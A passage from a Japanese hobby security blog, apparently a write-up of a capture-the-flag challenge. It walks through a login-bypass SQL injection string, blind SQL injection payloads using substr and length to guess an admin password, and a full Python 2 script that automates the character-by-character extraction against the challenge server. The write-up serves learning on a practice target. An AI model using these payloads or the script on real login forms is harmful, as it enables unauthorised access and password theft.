ネットワークセキュリティやってます。技術よりも趣味と雑談が多めのブログです。最近はオンライン英会話にはまっています。
2025-01
- «
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
× [PR]上記の広告は3ヶ月以上新規記事投稿のないブログに表示されています。新しい記事を書く事で広告が消えます。
問題ページ
問題ページにはIDとPassの2つのフォームしかない。IDはadminと言われているので、Passを当てる問題と思われる。SQLの脆弱性を突く以下のような簡単なSQLインジェクションを試す。 ID = admin Pass = ' OR 'A'='A すると、PHPのページが表示された。やはりadminのパスワードが回答らしい。PHP構文がヒントというので、上から眺めるとSQLの構文があって、この構文の中の変数$idや$passに適切なSQLをはめ込めばパスワードを盗み出せるかもしれない。作戦はたったがどのようなSQLを入れればよいのかは分からない。そもそもSQLよく知らないし。困り果ててグーグル先生に”sqlインジェクション password”をたずねたら、偶然以下のサイトをみつけた。 ブラインドSQLインジェクション このブラインドSQLインジェクションは初耳だが、これをうまく使えばパスワードを推測できそう。かなりの試行錯誤をへて次のようなSQLをIDフォームに入れて(Passフォームは空欄)送信するとSQLインジェクションが成功した。 admin' and substr((SELECT pass FROM user WHERE id='admin'),1,1)<='Z'-- 何をしているかというと、IDがadminでかつadminのパスワードの1文字目がzよりも小さいなら正(SQLインジェクション成功)を返させる。なお、アルファベット英数文字の順序はアスキーコード表を参照すること。ZをCに変えてもう一度攻撃をするとログインエラーとなる。つまり、adminのパスワードの1文字目は、D~Zの23文字のいずれである。このようにパラメータを1つずつ変えながら試せば答えにたどり着くことできる。しかし、パスワードの長さによっては途中で挫折してしまうかもしれない。なので、パスワードの長さを知りたい衝動にかられる。短ければ気合で総当りすることもできる。 色々調べたらlength関数を使えばパスワードの長さが分かるかもしえれないので、これも試行錯誤して以下のようなSQLにたどり着いた。 admin' and (SELECT length(pass) FROM user WHERE id='admin') <= 100-- ここでは、IDがadminでかつadminのパスワードが100以下なら正とする。結果としてSQLインジェクションが成功した。先ほどと同様に100を少しずつ減らしていけばパスワードの長さがわかる。長さは、あまりがんばりたくない文字数でしたので、なんとか楽したいとおもいはじめる。 まず試したのは、ローカルプロキツール"burp proxy"でした。HTTP Requestをいったん止めてPOSTのパラメータを変えながら試せば効率が上がるとおもったからである。たしかに直接フォームにSQLを入れてためすよりは速度は速いが、やはり手動にはかわらないので数回やると萎えてしまう。 やはり、プログラミングで自動化したい! PythonによるHTTP通信のプログラミング経験はまったくないので、まずは以下のページを見てお勉強した。 urllib2 を使ってインターネット上のリソースを取得するには 格闘する3時間でやっとプログラミングが完成した。 import urllib
import urllib2
passwordlist = []
for i in range(1,50):
# パスワードの長さをブラインドSQLで探索
req = {'id':"admin' and (SELECT length(pass) FROM user WHERE id='admin') = " + str(i) + "--", 'pass':''}
params = urllib.urlencode(req)
url = 'http://ctfq.sweetduet.info:10080/~q6/'
request = urllib2.Request(url, params)
response = urllib2.urlopen(request)
data = response.read()
if len(data) > 2000:
# ログイン成功と失敗をresponse文の長さで判断
print "The password has " + str(i) + " characters"
passlen = i
break
for j in range(1,passlen + 1):
for x in range(33,127):
# "!"から"~"までの文字を総当り
req = {'id':"admin' and substr((SELECT pass FROM user WHERE id='admin')," + str(j) + ",1)='" + chr(x) + "'--", 'pass':''}
params = urllib.urlencode(req)
url = 'http://ctfq.sweetduet.info:10080/~q6/'
request = urllib2.Request(url, params)
response = urllib2.urlopen(request)
data = response.read()
if len(data) > 2000:
print chr(x),
passwordlist.append(chr(x))
break
password = "".join(passwordlist)
print ""
print "The password is " + password これを実行すると、adminのパスワードの文字数およびパスワード文字列が出てくる。 プログラムの前半はパスワード文字数を割り出して、後半ではパスワードの各文字を記号・英数文字の総当り検索を行っている。攻撃成功か失敗かはHTTPレスポンスのHTMLの長さで判断している。 PR この記事にコメントする
|
プロフィール
HN:
ぜん吉
性別:
男性
職業:
割と自由なリーマン
趣味:
海外出張
自己紹介:
2006年のCCNA合格を皮切りにCCIE-RSを含めて数々のシスコ資格をパスし、2009年に念願の海外受験(ドバイ)でCCIE-SCを取得。そして、2010年に目標だったトリプルCCIEを香港の地にて達成した。今はネットワークセキュリティやデータ分析などをやっています。
■2006年の目標 CCNA(達成) ■2007年の目標 CCNP(達成) CCDA(達成) CCDP(達成) CCIP(達成) ■2008年の目標 CCSP(達成) CCIE-RS(達成) TOEIC700点(達成) ■2009年の目標 CCIE-Sec(達成) TOEIC800点(達成) JNCIA-JUNOS(達成) ■2010年の目標 JNCIA-M(達成) CCIE-SP(達成) JNCIS-M(達成) JNCIA-EX(達成) JNCIS-SEC(達成) ■2011年の目標 異動(未達成) ■2012年の目標 異動(未達成) TOEIC850点(達成) ■2013年の目標 異動(達成) CCIE更新(達成) ■2015年の目標 本を出す(達成) ■2017年の目標 TOEIC900(達成) TOEIC950(達成) ■2018年の目標 英検1級(達成) ■2019年の目標 海外勤務 |